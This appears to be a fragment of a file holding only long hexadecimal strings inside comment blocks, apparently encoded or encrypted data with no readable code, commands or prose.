5d7b6e211a2099abc02989d51ac164250f511334a2089b1c879ab895fb787cdae832885e2153da55a98788516ac6a8e084d17bcf0f988a29adba66389f1887148d79cf4c2873ad4ef021d3bd152a53ae66b125cb8596dc17be57e1853e9e5c20061f9cbf4363f8627e3949d9b2d74383aff8c35051c8470188b7fa37d86b1219816a1fd51e7ded7ac53be3aaeb244f8e4e6bf33f2bbb5cf918d4216cd7fff96eab2a7c5bcdfd28f85fdee51cc66f49d60f27e4691376f6a464562bf49a6d0001ccf7116c1b7d40ff1ae3ff2288af556e6fd829af823d2d6748dd6301432e76765f48a9b8eb8da1cff3268718595b6f557b842255d6de2c9a6914bf480caad498e2f3f0b54d7ecd3ee6bca7c968744c361f52f51faa178810447076ef20738a45a217a962ddaea53821f568e36fa2c70d9fb793b835974ce89cc58051af076e18e2d6840f537deaf44abe04a298e68ae23af7499f857dde3fd89ba2d3d85d4d1b740c69771378027698725cab76f6ee10971b405a2cf52c8aeacd9b2018ae28f39e0e6a4cc68ef6bf9f07fa4b9536be8fa2dc3156579b1bd47d105bb0625459f787eb39aacbb4f10f896cb5f94c2f65497370ea0fcd71feaa0a0efc335d19ea83469779bcf7fd6194a8d4f7877bd094a6edb935554c0f21f96e8af37700f8347bf18fca7692146fec0bada1a01379c7bc7178a96778186e91a509656c5a4aaf88b8cca15bdc0c90487b3c5706a636ca13cfbb379ba896f174407708e424e72a0304d2cc5d53311d352d5e8d8b54471b14ddba639e92d276169003a558c493bfaadf01278c34907739f59dae25cd184a8ca8409e8e2dcea02baebca855313a9b51caa74c9fcc4c088b076cbb3c52de59900fed2e78b462dbd76a8b608e4f2c9c4e723a63a43d07ef123c5c272bafbfa10784ce41a49ea5913b4a9cdfebf796df5d821fb93572a699a43a1e79586cb56054942a3be0284714399cdcc4c8a183f09ded27c59ee7bb88a9344026251e05a57638865d3c3068373472854a9ae74a533d3accc254b614c0a5af759733c861f161701e3d871de4261d348e0f31be0d10ef014938fa211a63335dc830696b5378b72e345f7eea16460f48170b89da9fa2f3497f218e9703a2d55f46ef57b27054e024d23c7e1795f88ee7a51161bfc90a1feea0800291cbc3969b6788f57e69e6f0d80ca6ad739037b66fdf3e1c6d81697df69226d37f9e51fdd59ef26992feb02360a6aa97435047acf75c49a80fa2d33602bcf79cdd7aeb43a7d008de24086fa8f5ead4cff5cbefbfb01732b43fd6572d2968cfd5f748b81d01dd2a2bf150c8eb8cabd6faa126ccf9a13e1866397a1f87a81c4f5bacf114c0d47e9db9578b89a69ed68284fed616c26809337a99c2614cd4447cef47b7181bc4f56fd5ab32c2509d4a953d4468a913d33bdff71655808d5d8267d83d0cd838a7eaa9be70334b7a3ce178a65ca6b0fb33d03b755054efde286b7c048337e36d800f6832a0aa50bf5162e9833254a3eb6dde65a2f62bdd7a95f19b12c10d0c5b05*/
/*1826319194468d234e9c588b91b24783275ec29870e568d772f0e7dfb4b75656d5d7ddc78236575e54d2218642b84203fbc4dd1d03ca41e0ac30fd38ee732b7c6cd97b3aeec7ab93cfc68218f1d46d52927d53cc66682be5733d5a9a3b069444cd7c730abd72f38c44e872c0ad6343fea0187a1aba2795113f25d63f4be869f2573cb12469223f483047da40e83fab51dc2b9054a3c2a886bbbd83d8ad147ad0c8fad6da418040a024d78f4360f32be35afe3c18b53b442b759c453f7395d53616134d459ae9f84b0f2d6b016e3d97e7a1f9fad381196ad4f5c73c188e1a5e1b5afc88f35822ae60c3c297387706bc9b4ced013ea2b26e90d1ad6f82e0257b580510a8cf79e871f4ec4243cc428022b16d6e32ecdcc96e0bb24853b3beb54b9ee2a957a485f8627dc9d7a8e2914c597f3972e39b46ef715f3af4310ff15f6815571e456550b9ad023a51379bbebe59100f632e72f600df893d837a0c0005232c4f9f4303938323227e5adeccfe139e4318de8eb6ad25d244f0a635c09f001dcb64841ce21c6ff829e3953ccd54820e571538ab1e04a2029081ae9c3208f954f82f717f8ba6929d603176d559c4fadb590db355e640056b919644679ef67d606f0b64c7efab2451a60a7b7b7d6cc6b47b995803f87d983502bf42ec19808df99432aa37bc5e94727579cb37bde675803fb1ba73341bfe6e4b3085a6b195626f8e3e3a250bdc4315bff01df36b33c036c5013441d039a4582cd70985a62f5413917fd35b86f363ea0c2b7da1c3fe5606f054358b8bb94536f0d5203eca601508994ee287a1e9f47838ac7239ddc212cd3b8c16706b0f239e6523b529308c983839da1bb2552b99211cf642e414e894d048e708e97ec804430b3f7193d38e2dabdc51cbb76de60a1f523bf115477bfc2618592a847e65c805df201e0ff1ac50bf6b106e52e05278796265d986709cb96714fdc5f29bef2ebaf7dec255f2fb863f7538b2c6b825d2a8de5c5fcb436421b11c9594b7513e5c95a251df4adb7f13879675a90602c4bad0ddfbd681c05777ce26ed7238cc577ac63299e13d663d289e32afab9fc2260defe7d90dee93d4ce27e182a3c8d9a3fb9e0fda5e6084f9ccbd4f49245707d97d798c24c36d723e3ca43575d8c10c5fb80907a242e20d1cd4c4ca28518d0ba4e4d7a3b1cfc170e634c457a7c4226b06621581d53fe50e97783946478f7b992de312961c9b852e2b3eabfc346e80e0c03f892480cf03b0c8cf72eaad47401dd4ff13a8c692e22d254a1a19c5839b76bdede10f5fc8235911b9e84e4d905207fc7f0be281b3f1a02459b98f004b79bbc2b05648ccfd6d0770b8889b089f87aacd957c43110c96424c2026eb4d35e813da10f329d921a42a0a0f64b2ef9c9c80a6562bbb6e36d65739751b8ae4a60259da49f3845ed026ad337f8f47c0ca4cfbecc4f02586db1a0009824be771b36b057dd71eea1256d8c49f54eae292a8ff5ba24fb0f4f1a5c4debb59b4e394bb656e73a6d3cb6895d6101b2c4f7012015001e1df0c9d673506d53a91b200261f10812fd32ae3621c9b1c8fb675d549f8d5bed72665567ce5278f0831a9b9bff8226854806385c7829fdb529821f302f996177f0c67c40e248f4d067759c92e0cb4fb14e8142266e310510b1f9b2e85f8ab3c5668ae1c240d0fe31e3308ca54e2fb372af971c43570bf5db878dfac5be12cfe5ff80b6822c7158e0d56747cfd352130805632a2c81db028e134098ee431ccadee2cb36fbb3d71c0ab0d87bad194bb525da867cb7bb41539f95760957863eaf9b36587de13a07b1686f8ab8445c3e842debb906b7b8e39fa08f1e761e178e4dcc978899633b0336acab80622f5010659fe93919945502f515fa454735519b87b808a66c24f65e28a40e5f5fb2aa0aeb3025389ae869d483bd8f0dec6dec26ee9cc2e105a419aca2aa4d512944f33be99d538d1b86cba3c7885da678b1830da18cb95f254d03e3db2d0f3da2c08684f5c1bcb9b4e8676a7711a1e2aac3855e944c31eac5a9bba626d12afda963ae017b61657b0e79aaf5af9587bd8a9c92ebaadd0fc3d55bbc7aecdd50cb12d03fde033c2e0c09668fcd433e23aeaaf038fbcb1ff6a398d125f70b2929f6b1c50e21daf2ca968a102336b5cae26a5b329b6c7f6f1d24d5ca0f936003c545496b1ee06444f30d7363efa9027ae90f4582ae983b203096f480e4f6e57965aa7700f23f7da6df06e618e8be9de6d56850989f7e91f5a038692a3f78d7dc6582c7464ce2ce1b4ab759b5e49e3d0ea7361a5536584ab7242897aa2bc7e079b56d275e09664374064c527f2972499a1f16ba9aa1c0b60b22ed4b79a47a099e5ed6a969a0f935782bcbe88a902dc2c73a6d529ae34ad51a1aeafe5af3d72f1bad1240a7be8c50984ad940abbdf4a01adf413657eb9ac956f6abc28efc9fb27eb124d9e0122f31f1292323ee6c8b67a6553efd60b69168d51e3af4be2ad82275f140f5c34fcbfdc714e2354026f81b87126a9cbcb181a1225c70e2b0ecd7aa4b6d114ccc95806c2f03a9a5b91b906f13f02c051569a7aa113cf086bb515bba291678c0a969fd41ed88a80e81de6079beef64b74b3f4cd75710b451afd63593a5b7e6b794ad7d11539e85d9375d8a627f987a48d48e037fa02109f235c9bfe8ad36c0b85f471803bdab7967b2643c5e186332e7b5bf42230e98289e55e500a850995f4df4024130f1c95556acd336896513aa07209f35d7387e53ac5e6fb1e5d2c14e2eb7dd54c4ca67651f3b922d48d4804096521931a5904e9b5be5fc8f23064608856*/
/*c92bcb37f711ea72ac0a6f094de21adf2addfe091539e5d05cfbe023d7aaac5bb085629f168856b6711d019c518e7466a43d9dd0e432cd619da14aac5c6b7f469690305fafa6c79152fe5e5dc4188e59859965e72cd9c3f853a6df89697629e16928c07c67bdd51d7f83ed22967b38b810105c70537c4152fba36bf580b9663ddae40c8fd3bfd88fa5a0a336c6c9544d330c7e647bb98df241ce5ca29b43ebda471589fb7c2f419306960a6d0b1f3cb0d9a0e76e9ef0a988b3ec96cb1ceb856e763b905b001f8032a7f094dd2fc2566fb271aa852c109a5f0ac5e9dbda1f0e3ac96075f1f5e4e598650d82c7987d5e819dd1682dc72a204b1cc5b92c5a610fe22bb407b7721ba9bb51fed59e469bc7b67f3c277319ac5da59c77ea3a226b9ac4f9bb408da06269b6f8b58c963a9f8e76c872f0c13634d5b796601af2c1006140e2005c62e8662c1b0886d48299f50f658616230562b49a67c840527c5f3c1fe867db2a49bf045ac09698b6e522bdeba1ab3d71d8631c901bdc25399f3fd6e7eed6943fb8b1e4b68ca208d933c293c751614fd288bfd0ed6c4d5a53a3f5299b8d66ec2414ad3b69cfba426f8a2fd3c3b5726204200ef3d08ce179729f52c0b9d32c4fc1ccae81a5b76109eb93fbc155a6a7bef0a018b1e3bfb4ea222ee13d342fc6b6050d7bbe9cacbb261599990974604ae931321ea009e4cb123ecfcb017d1f60c02493166f11fd626360894e6e312f7030df817d269648365324706e608273f239327447a0dadc7de69a4875a1b7485237ff5e6c7155253849baaffeacc2f1075fb612f51547fcc4a75a83ea89238d94b0ac5b822ebcd92a0ee339a09f78e1974bb2c4f9ba5e71f695fd49ecf223d2e18e711c52343fc1a0a730adff6ed6558c07eadd071e8a0f96d9ba63924a84d04b51b312c20392100318620947c816342e91eb011d9ce06677820e205f3965329ee02092cb12fbe7e3696372dc6f9fc66f56007f2e79fe000b8d51323d94cfb9bf57e8e6aeb11003efecc9a09440988e22ae1c63366305c065070f64a56e318a23733e925708959df376add1d283ada1075898dcb2d5edc6140c2c4d8d448c664a300a2a9b453ba2a6d888e48ca894d4458651d55d27b8e0bd8ec2ec1002ae4ba8a80a67fcdb5eaffefe5a3c0d24fb97ed96b2d0dcbc5168913344a19164a71408af5ba7c0297e80e33e399c85c1688f311bfc0d9da0c205afc0a83a76dcbe9389cf20fe2fae11caf22f6f323317a5a27e48c94a09978e6ba7af8cf4e1b198ab4e30b514ba751124277bc3837c36153a842009d8ea758135e8609255180bd8595254a6a6a932142742398b4d4d5c45e00fbe19a37b2fa85d649bda40af7de7fcba42ffa87dcd4d41fc4e2846088bca25ee9be1633afd3d4d90e51c88b9f96bf66ba20da14a6f9896d7a337ed401b15576365614695d1ef7c16b8d15d25c8b663fda01ee6bce90390b785ac7d02e3c92e194bebcd48853a2b5a6bcdeb82b8347ccd784cef2d257d59724a06580ac5f7eb1277e1063091186b017774e6fd662df44c61de00af4badc0680ee8389b68fa99f0909adb124ee67a1d281ae493d55fa3b2f38c35589974c53dbd65ced339bb3f77db4d09baad1594f04c606afe7deafd37c5c9ab895843dd2de7d0512fd157df605410cad1f939abfc7971032d2128c748ab33497ad8d5df678a53fd1b45147ff3b89d57a628885cccb45db9e8e6e5573d2797396e49de03c3a9ba3dea46a445085e7630ec9267b7eaa4447240572e7d1403b32172345b3dccb9dc68ab80e274e5dfd810eef388454c684947bc2880b4303a27ec7cfc267d594610c777e35228deb1df6f6db4cf7626a1f1c529408d36b3a79c432bbeaf43ae390cf2f8c4d64a644bee97c2adbea272c1c97f1d1079009ee5c04df08aaf78bd6898ec48c95260b576cf530756a46adabe572a4f07ea5e525a7e8ac455869a6789b1289fd4f875be6bcbd6708ca33f0be76614fda9a987f3f64b4f9266e0451247de08f9847269d6db71086bbf9e7e3551d8901191ca1d98e6c7d52b02dddb8e97457e0ae4ad2d27d97a1e0dff50dc8a14fbb99162e95d0c74c788dd20a7e0887510e42d5b99b5584e0cffa0c472a09cc0039012b7a8ccfbcce61314d7d530bb11b2c5f02d14a08a7d74961fbbe50736c1ff750a1fc493c8060eeaedc26863aa25633c3d4e40b70bc3dd45a1a89c4d0c3f9814e368cab4bf69001116fec6270234123780958cf00f3c0b0889340a40b0fc173fb8610360050f5864c7c652202983aebe0371625a8bbb4447fb661712987d3a70a65dbeeb08f08acdd7a4f49a02edc3e9b967dbbc63976a9ed91536f2a3ba23a545e8cc1c125dc6cbe973b20b82a8f33273850fd5831a38316bd5a033add28a250d8bc5b7c0e7291dedfc74a1730d491e0b532e60e9205e42ea09fe9c1b9811d1d9ec8c04a273061a8d1992567127ae4c32451073a876de5b45cb57f59ed5772e7797bdc2b8bad9983bc2e6cfa0b737a6646dede15e6f124b98194d666436daa7899fe2909e521eb6e056b0d40c24f4647b28f0fa38511830afb596dc474bb34a57e44a564677f803a3ae49435a06b85901b768ee6a4a8f2f5db003737a0bf03e01f79e90a7c10fb64fc4427fca081370a78d74e4fc9a53804a6d6a56f1d4023c1e8fd0dcfe24d48013fad645afeba8c987613de62be6ea83aeb5f417d778c9c535f0d46cf76dd0d788574c93006aad8b2347360cd3af739268923c2d28ad43b2dc075bcea627cce0b635c5897328071e0727cf63ef85573f4b592d9cbce20a141fc14a28*/
/*a7f52212c398d7698100e00049e6e5155ead59f047121035f50fb37ec21ffae8cdfaa3936e1da6ff163e2de00d7f0c22856d8d8e43d5e8d560c409740f106ca22d0d7c19a42abbf12e8f8aaca2f99967e32165ea60ef762d794d1d64fc890d2bcb07afb647298302cbf162c8b15793084c0efcb7d2ccbbe42bf3a3f9e0b59e40ebf7931f85d8e5028c1e092a18fc2b770d7e021200a6d9a3542db4fad95306eea82a0e1be703951c824cc41a00cabf644cde25d4369effdf3ca1d5c1457cba4c1c8ec2f7f725b0e778b63a450b407775f8f6bf1b4abcf983b33110ef17df7c7861f386ac39e41082aedd81c4cac1064bbd61f16c4d7860c5bf00b35ab071b00a4482666986febd0efb0812cbb10e1a2049c376c1016f7fa23b33fe8b96cfe12ac1843d2439401167fced033c4363aa1f09efa3e448af1ddcb1ae7aa605cdf43e0c8cb121b8189ad8a6ed07e20cbb1e546f00f796f503756697bdc76e21d1e2cc59822fd90de86378005f12bd934885d8998deff57dd9808129924617e2744810ec7eca660a2f63c31fd38a245e0a9bd9b050e12c1a03a85e902bfff78684c33509003b1b244bb72b764b696a79c2ae101eb76318143bdd7a5359b99d5434e30b80acae20ee48b229913bfe39cf6bf468fe9d53f5d97f7efb4edfe53deecce11a4af665f5e41494bda9f88d7d96d4b057812380dee0b23201044c6a67890703d000015ace16b97290d409c03b0fb1f7669c15036fb7120744efb5633a9995ac6beec257a2b3ee851d13b610ac15fdff74bfe9bcc657e0319c8d388e8ef1afe5122dcf8a7561006849dfb99c6a8ca324853c227532b707b51d312a2197140d0690bb943d0adbb45262b1aaa358ae64bbc68df537707232511a5a7d73b732c1e8341b532d84b64f4bdebb07e3c629cecf34fbac853244732b4ff211e1f1751d18ffa275915e65d6e6919208b96a7cd56a974a82a1b4e9e600292bcd92a2d48da752bedfda836c856595f870920df47f300fd06b92cf5c1006bc8ff47ef1b27ae33b965aa180ad639d85af7c08c532f98c21ce8ed1347cd83e8df5abb7bfcbdb94c52035bd22cacd95c6b79053f3d4275e2c2468372cec385ecb03a261ae3ec453e77a7be7b897c6efff8eefe5987a9f3b09c789ca88c801697e94f85fe39b612d1c37a04828123e02f7208b76d698b49d53844b88f87597a05b3bfb2a28a3f57542edbc5edac032b70f38701a3bd0e3948cdd170994fd22acfb52f1e6ded983ac0ebae2d85bffb6139f14ce3646ac5b316f8f6e6d8b068c0e1edd457c02cf909e0131a8b08292d24a9a36a9d3469ed4a7003623a49e78ed0595d9d1de4a9c5dffc125185f0d695a3ff494a1da4777f86b73d6e193562af9c0220e06d9dca2e63b8d2f3ae404d7b85c6f402f838a920af20750f89191b45256472e966f5238a9bb5039eeb0d185bd2714eab1d96ccd942dbdd54aab726fdbec2ae29f1416d6059b142d6cc153548237a50e9acacc09e69f4cb5cc42d67973ecdf9a994a48bd697de622bf0e501e15f4aab9eb260bf32c2156f66d68377ae88fd26d0a2c93129b86fe2290627a2f210c288d3bdb3319b12f0bef20a7d8df061ff120301ba4a1a3f784e4b280e24e77eeca2b25cd3a2ca92faba74abf16f21703a895a984d92c39c3b2ca8ffba8f8d2787cd097a34689bbe8d8b7909ff10d69988c7b222129c543ac27f0743c127716ac9bbfde659e5f16f8affb8f82703d617cbee3ed93916b53a328161fb3ac6fbcee196bf1f01f225842595ee995957dff1d1a0535115201462264d1e160ccd8485f7bd93674d44b4c39c75591993c0e3e5a5301adf3a7fe11dab83afd09a59b2885d092daf92cdb28db8739bed5079ba589afed556065bdbbc1595af41099f730520c064ef78310be99cae7f50d6bb1ae0c3b2eb2a91aac05464e8fe8da56e5e3ada2e623822a7456e58fc8a5db02efc6d615381fb83823ff533b48e448fac9bbf7e08f7b1cdd24a204768335de61dbcb60d9623966bfd9fc40d2d22c9102a8109fed38a9abf1bc3fe2f92a6c0b1b86e0b64ed1b31686b05964597f9b9eecfb3d11992d76f9ef057e005fcc9cce361e0092f71773952dce609fd3099975eb639ea6536a40fd55d6800f6dd7561176d9d355271e8be4fb45871d912f9f7564d97aa4e4a0ba21586c6879d8e25c37a54bf682dbd1aea7e74b46be2227a1d26c188470dba4069df1b1b5950e72bc27caaa521d936ed9138853783b78fbdf7e1bdae66c9c42630ae1f6134f5ed30001f9679c072b469d726180ec32947ea039d11340b81869ee6795f182a04a9c1ebc57db29dad009f7848059dfc6e45ce6eea377135d10733e3d3e5976cad5edce082dde7b9d1a930c982596267aad375038a4691b9cddabfb383d30283756158f23d28be69bea7702abecc1a5015d2e373add835836805078e76d32501aed2eaa5571e4a5591514348e73c9e1b61f213d805946df1f7eceb17273e0a1e884d133b7121384d5f3c5d21aa8d4ae047c0758e10de4d62d31d9c636ef4c9956f94b0fcb9ace1678b5a65129fdbb0e53087671739734b852ef18672dceb8727575f188af0db34bc9f8424ddc94b51aab9f5970a92d2c9ec0ea646bc329fbf4208a0fb826e0a811b5e05bf8b2ab7e5817138d2d72ff9f69c9d5ed72cba60f38ad1093ebf650eb6e733f8ed7e9d5bfb98ac02c3fc55381116da92fd8437d995498c6d0f4c3916444e3a19f09a02e226cf3ef00cf4f266c7e64efdb12e9b5ebc06e3019c0756c96056e6dc3aefbc7483b10c19428b04c9e9f18b9a43118974904062f*/
/*233dc0abd2357e4f4b9372bac990cd1d68dbc13331774b408ff60f82882a69c755c50119c59d2abcfd176edfe2a7a65f5e0825f5d7f65e598cc51900ae5f94253989125197396fc5f49d0a5ade0497d840229d8d1dfa87bc4d646842a0fb3c405076791bd2c73f6e4faf79290dd2177e10c1413107288368d54c0d89bc74aaa435eedc664dbf173e7ffd5c9f2fb5bdcbd703d2e3126a144181f6eb54c0c9550f754720805d7484a50f5e0a188cbf48817cff2eea2f26ca4d1adddd3e58197f6032ddc53d3f608a6e0d2bcd55141f8c32e66f60daea7d2878e67aa708a55fc5e5aafacb74e4743be58a6a2c052cc955ff3c6f64ffe5a5b2e7fb50c1d62ca8b56b4b24638076bf336cc777cd523f8f559d7cbeb0680c8a0883062035e7137f813ba329c312ac176e6391c85928c6536de1c089506fc74a9e4a066c6278b742f7be043cd5448705e44abb436a1dc1eda3254dcea776ba7b8af82c6c614f4fc6db023e4ba509d8b50ef6726f5b1a926fbeb942bb45a0dd7b6375471651ddcc8ee4d3d7b03f6b3b68790177c73c3115fbdd7a8fa7114733d6256bc5127f7ae19e158cb90e76c46e8d6163cb939f05984836d90bb4529bda7339e579b24f69d1dddb72e65aa71b2b55140b694fea8173bea89a96654d3b975670be9b7aeea38ad780b42816702b3830941e889b1714df2614a610cbcbc4a4c5dfa68e5867dbd4765cae7369b682f5e312cd4c79fdef35cad3b2143ef3efe848a8efd85a206c8f2b2a75e5e90abffc84c727a9535073698b8836f26b22bd81f56753d6776f543d36c9f707d9bc216dbb5907e6f1e94a71eb1f653226cd6e758ac2e49cac44e3b12bc20c573f6efd1b7fc156df075c4a7a8444165a9af9effee86e97f15c7c9e9d79bb8a615a1c601e469db746cbdcf2d6949492593fa593c9e0389a98e10f28ba99dc2d031cde2859ce16ec24f336ee787b74937d029d5185978e489e6917e284c44e3e990178cd9c000110c4783340cdca436fcd0519efc04126bd63d744c6614ac5f93307f7dfa0e6b0017c5e392094edd45e721cd4f2366e65b7dc83af279e549e2aaebbfdc1dbbcb25b1ec8bde6b85cabfd47925923240aa1787cd93ae7cc8efb1239e2b4e3f2e18f366ad272d7841d0bd563241812f186b42cd23da6baa2f9ba5a6db9ee8c988880239801ab5258eed17354f1d07bb889dda8637b26e083631cd9d7af8e881aa8557e95505dc5fd53e16dd64f71d50fa8f189921d5aaaa7b1b406dc59874de44eabe082ebd3b922a3abf1fc34e9c759cf2a46fcc869f7165088867e7d0dac79b0de08fa9e4a1b12b96139fffc4f699a63245b58ad0d7ca4b871f0f09b7cb8ecc9ca2bd459309d96721eeefc7d0f10696d5b80285e3bb0614f1e4c10d8a814af497fbb27b3c166d18369b4a8c40c34cc742ca44de024b6164ba0577b144fff02f5eff9f2b6efd710f2efc4bdb4a8e5952dc4f53fa17498961f172883cc5c048242931f8468717ccc2de4cd4fc41621e9c640d21eff902e398ae47fd4369b0a58b3c1041ac62a15e01b0f922d47f10bffb2aac74de7c37f6ae6a26de24fb01c5c9c13de0450e14fcdd06f2027d6cff2af5091e66c47af81fc0d945a40f23a2168ee1ec8f1b6f17eca392d01e001b4d7e555852268fddfa702f034fdb1ffb742cba08cabe64d00dec22e3d47d5a75e4843e34279a2da2487c7c7f4aa2b0dd4de0862ac629123caa6505e479acc7321896b700fa1b4af9ad81d1fa3dba747a0f5a83860507412c7c9097616e712dfa994b0af61b5ed88495a9b6d6001936e174430a5f9211aa699450e69959d5bce6c952fbb4cea187a0564326b22b22fbe464ea2e76ddfc4924fbd5069aea85e582aaa73a9ec54a1eb13de7ff09b090937f0cb25baa57d859b220bf8ad4975e886d4cfe5a0b291ecfc0c33fff3e8756ef26fe6a55e00c9a0228a9ebd62e71c17b172a96715f6ab4ec5d3d561bc2119362e3f736fd5519607a651d7b773de465e561e626dc40d8c265e915d36c3a9caacf0121c8a627ab4accd54f8720884a6f641bedfdaf7ef0e552b88d122de512e98d9f7121783541f7524b58bf1a8e98ed7b64905002431b41c953653c4c50467f0ea45ff782754274667b9415a96a500586818c93abff1fc7fc4635275e4d75476f5dec5a8e6e1edbadadad1cd282eb975b8ed483110805ce5fc68114d8d5a180a8895f4884f5da22b294058941bc37dded8a5948f23546dbe7c3ec3ef9482af9831d16a801bab48b2e2ae8840dc1f75de08fcd0561c47351b2a11a216f10a89f54465d9b326ff8acce02727e51606d852c09fe628326e10feb30e9608ebe97181706ba4d1fa6743fb61a16cda311adeceeddfbacace1c458896a086522d7b0ed3af3115d014d6d824a1908ea43e1e89c7c5306cd58a5f4bc4f61708e8a21b44e9a4f3e721e4b52f121ec0849c5ef590bfd0342d9f7686f3a7139e48b1d60186b9bd808009714138420a49bfdc10b9f4d89a7af8e357c346be38297e6141da8a39fb9967e949261e4f41ffb4dd006d21feccd292530f767933d19b23d4b30dcea573ceb3579ff1d973150b85e395762a18b48d7a08911aa5ad421546ff19786ee619e6422cace873ffbdf028f7e5d9e4c843e1cde5ff572edbfa77c2f0f55175a77f68e7460fe7998ca0de4dc8780c7953978412ec918847ae476d2cea74d88da53400c692272ac97027fb9c1fcc2756491a80d564705b1078be20756e4010e47d16d063e1bb6b685c65d6a4b160cdd1a6d15d47dd3ad182a668b897a26e4405894debe9c8e92dafd6a12728cf486768*/
/*ff6f5ec2f6e1c6374424e8f42aa0ec4f03b055f4e02915a2c87a96d7a4e73352bd16bd05248a84fd99ef6a8ca22fe6169c79c470a7e5e70833da3c61ec3a142e738464d76c023d55879c30dd8fa90ef515e7b325c678205ff20f01ecd9396d7390a314fe835978fda1dfb304f67998cebd1198dfe16fc6d73f7feb7a2a1653680aeb050d7a071893b1e7bed3ebd1787dbed4b77040432179070db4ad1be0a2a55c55be35c528d81353434968ac5dd721756cc686bf6de13d38ca73a0c00075579fb64df339c8d4faa73f4de4aed50a9bfe186fbbeec3bccf62a5c5c7de12e7284d6ae4a3e1d7ac54318a1b6887d86f73e2cae2c39848a8fb06426b3b1d6abcfa4f96cb2b7e7c25d15d1246c757dc336986e4dffff8b0a1bc8135e98cec9299d05c1c0320567cc08cc7f3d9932cb73282415c24cbd2e1f15096a9bc2c76ca01eb66e560dcb2256aa7d18976d3ea42dd2cc17e5ae206877ae57771e836e73107b0eae6e6805ca2e1c9437cd280c5abade712a0adb1bd34f6bce8e38cd9678835534ef0e42973a9ac90ef47e54d27e37062ad3a09c49e6155c1d884a0d74659f6c61a5f0242a3e0ffc8a382085ddeefb2846c53d316fe2534e8c0f806dfe4aa2ac61e7af99cc31ae6bce6bc92bd01f574013d3003c321984a3aa4df0a3a4da8a51ae8fb4ec28c1a39570530acd6a96971ae0a9b4204421ac57dba399323e6a8d9280de03a6ccbcee1900272e1316bc560d3d18b16afb22882ebe07b7b473b74596815a5fb01d00f6e5c266de40de56e2e6a509c175bdd3bf953d955fda6910a149f517af57300a115595548b36c5a4344d46e57a5a3960ce0e6299a6516183b493683bd9c7cb4b351e34d8f1ef5cfea1769351df211ffdf115a44539eb9a20243e21896540bf6327a9dbb7bd81fd4ae05822e501039756ff9084f32d3eef23dc8f3c84c1e6705ace895ddafe1ae614d2c2b210a1a388dce8b834c8574d18b95ad27222eefc963dad4b706297b8b889a8fed478540c67a60b8a26b7a6795ed751dba71892683ef882ca9cab1e5b15832a067a232750a9177a758187b31d97595c48ce0d0025243fb60092f308052bf31eb512827e90335f912a8e08be651f368dd741ef35f3f884ddedf90c2282673d86c43b354b316913ba8999e0b0c0a3a1b2addf3502f8e62709b741078dd8c3bfb48f10e9490a0d51e66a4939d177717335c048eae3c1184f8fcca8e72083d57aa69f1e44a072a044dfe357663bd8aaf7f71e068f4241d06a4f75cfaedc1bd7bce287ff1d39c29f0f17f0896fab20ec069acf2de0df0042a6213a5ee36d7ba4854006d8585656d12536ce655a06ed402e2afd5dda7e43998628a13d8f8084ffb1e162c0adfa0cb59d1bc58feddcdb33aaa1d78b6f820303a572b38ba44a875916be316339070b812615504389600ed6d819683754b7a88f4f3b16c34bfe5935cc568cc58cfcbae469885ebee6025e2c80a71f3107ae98e22039475c3fe0f5166956fda5c99bdc67327a149094ee57a13a768bc9a9c7f04951d6de50c0ef55891ab92f9cf8c28b8d333d9857302d267b72d0ba8d7837ef6981941b11d52c010b3bc5d9a96c0143e1b71fe6dd5968c154b368bf4a2e308be639063f7a39d3f5159ad456204a2a94114d3cb64d14da832a5a27ae5fa2e1c968205cb34dcdf892e0a9f48597580cd1804867c573e024f9414375149d787fa07168cdf5b02907bc23021c7030103d05b422fbf1ce60ef66dfa2f0bd7bfc2835b04cd74ca0c5254d9236731673084414bb5e742f134452442373a5bd2a326211ed9bbf34eacb978e7458d4b6a57ec624c518303b4a6f6b2c0aa48a6e569ef170dc94f44fe83fe460c8b2a5f5ce1c41459e9779e3c461c5f76baf74315394c37945e802d13dd8f7a2647e967523e8322267bd5c759de0c9c6d4a685778cf5909c13a4187c127c8f597c0fc55c7fbcc8ce4b6e0a76d0c4615d36ab8398ac57e1ea725fbded1c456e66b84e07e1f053c884169f2500ca6ea856b41eccd9c6eb5c27bea9a1caf494ab91d9910431ca05d4904c010a7bc22ee294dc81f8cf34241b8cdbdd82a322595c7c04318598ab899d48940bbe938346e2d781fe696b4fd7bf1a72ebd0e5da6dd3cac927a07d71100404d3c44df350067f7f66d4a88f27155e549eeb8a9f70cffccdcd7a9d1caea74d6c5eb5ed459e414703463419d7a1330d624d224a6467f370d764fe018d2c015b586d51ca89299812776bf162436ffbb35b7adcab657e5776a423c52f15302334a2358996520155599b70fa10a6f3baf75319bf944d8d2c6f2e2463840c7f654dbf0f25718b87f011d6253e44afa36dd51ce287d1a2260afd79133f3518cabaea7e27e1b83f77eb6ec2507ef9a00c2fbb6d5e35d1bb4f04709bed28dae9bda2b2e6ecd20b0cfefe7c6320eb87973c815d534c3c4e649d1b1b0348d546603b4c8d19ab3dd334b51d26f4d21fb4a72c380a49cde42a713e0f1eaa58e2da51587231b3cd613cc1af73d054e1a0ddb58aed50552e915802d5ec2906339655d28c1e25ee2b33ff675453da5eb601de58693d0268c8d02af3987e057f0818996475841a5160a8846c0c29c257f59edc12e84550236bb1b1ba13e5ba94f2fdace735afb7f2c67e2ccc2e9cad239f512a5d5e9d3b27234d68904d968fb2abc6807db28803992b812592f3ac8c10bb508cd28e0dd67c1a6169e0f7032195d02c2af69b2d738fd49f058152363b3992680afbc531501a5ed1ed54de8c3893ab7452af4aab19d899db286380bf3ddb9119d175bc9b5e0205c5887ac27b1f1afec25e332*/
/*5a4a3297b68cdc7fdb343277b2c8f027ab8a03673587e1b635d0f5ec36bd93bc7526e87151ba5b256445be039c83fdebd131068ce6d7350391f4f2e342e554481ee5898a78b57374747cd5da7d956a3c61ae87d574c0cde6e9377e6a951d84e4ed5d624be10525d15c10fa85c194797c5295e7031d1c4b428f732abc1aa83d03fd250630d3edc370423d2d5959e02b80e02f17fd69d0c7beed9ce4e1aac5ece2add87be9b4cbad85f63ad9b1765cc79643cab0c6f1bc873670aec59540c3bc41e73e7bc89bc0bce03360be2bc500f4933d6c860e5abd970271b8c69bb6284942d02dc642ab73d5dcd541f9dbab5ef7f4072483f50c55b1558a40f3e5c62d8843eada9004ca68e06dec64840cded4080508f465a4f70a58acc6e43402042712b383f6365de68a7b8dc1fdd20a844b2db2b71566954cbba564d0dcc94ee2ae98a29a1838607406b341bfb40ed342728eb3b7fc67090f9bc8477ffdd985a3b0c39502f9fb42d23664e86d4ee8b3f78c8f6ab8952e92ce7f2aa824d43064a826c52335bc